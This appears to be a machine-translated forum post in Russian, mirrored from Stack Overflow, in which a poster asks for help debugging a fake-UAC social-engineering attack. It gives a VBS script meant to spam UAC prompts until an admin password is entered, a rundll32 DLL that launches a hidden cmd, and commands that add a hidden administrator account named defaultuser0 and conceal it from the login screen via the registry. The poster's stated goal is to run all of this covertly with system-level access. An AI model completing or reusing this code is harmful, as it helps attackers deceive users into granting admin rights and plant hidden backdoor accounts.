Rundll32 uac inpass не работаетC++

Программы на C++. Форум разработчиков
Ответить
Anonymous
 Rundll32 uac inpass не работает

Сообщение Anonymous »

Надеюсь, у вас все хорошо. Я пытаюсь сделать что-то подобное (но более продвинутое) с тем, что было продемонстрировано здесь:

(https://github.com/ebolaman- Yt/uac-bypass/tree/main/fakeuac)
tl; dw Это атака социальной инженерии. Я запускаю main.vbs, который непрерывно спамит подсказку UAC до тех пор, пока не будет введен пароль администратора. Когда мы получаем привилегии администратора, выполняются следующие команды: < /p>

Код: Выделить всё

net user defaultuser0 Pa$$wd /add
net localgroup administrators defaultuser0 /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v defaultuser0 /t REG_DWORD /d 0 /f
start /min
Это мой файл main.vbs:

Код: Выделить всё

Dim objFSO, objFile, strScriptPath, strCurrentDir

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile(WScript.ScriptFullName)
strScriptPath = objFile.ParentFolder.Path
strCurrentDir = objFSO.GetAbsolutePathName(strScriptPath)

Set objShell = CreateObject("Shell.Application")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")

objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
'Do
'   objShell.ShellExecute "rundll32.exe", strCurrentDir & "\Repair.dll,Repair", "", "runas", 1
'   Set colProcesses = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name='cmd.exe'")
'   For Each objProcess in colProcesses
'       Exit Do
'   Next
'Loop
(Сначала я тестирую без цикла)
Это код Repair.cpp:

Код: Выделить всё

#include 

__declspec( dllexport ) void CALLBACK Repair(
HWND hwnd,
HINSTANCE hinst,
LPSTR lpszCmdLine,
int nCmdShow);

void CALLBACK Repair(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
// Run the cmd minimized
ShellExecuteW(nullptr, L"open", L"cmd.exe", L"/min", nullptr, SW_HIDE);
}
(пока я пытаюсь запустить только свернутый cmd)
Я компилирую его с помощью: g++ -shared -o Repair.dll .\ Repair.cpp "-Wl,--subsystem,windows"
Проблема:
Когда я запускаю main.vbs и подтверждаю приглашение UAC, ничего не происходит.
Когда я запустите Repair.dll вручную rundll32.exe Repair.dll,Repair Я получаю сообщение об ошибке:

Отсутствует запись: Восстановить

Окружающая среда:
Я работаю в Windows 11 и компилирую это в vscode с помощью компилятора Msys2 g++.
Цель:
Запустить все вышеупомянутые команды скрыто (как фоновый процесс или что-то в этом роде), а затем запустить свернутый cmd (который будет на уровне системы).
Я не являюсь экспертом ни в Winapi, ни в работе с dll, поэтому объясните, как мне этого добиться, какой формат мне следует использовать...
Спасибо за помощь.


Подробнее здесь: https://stackoverflow.com/questions/793 ... ot-running
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C++»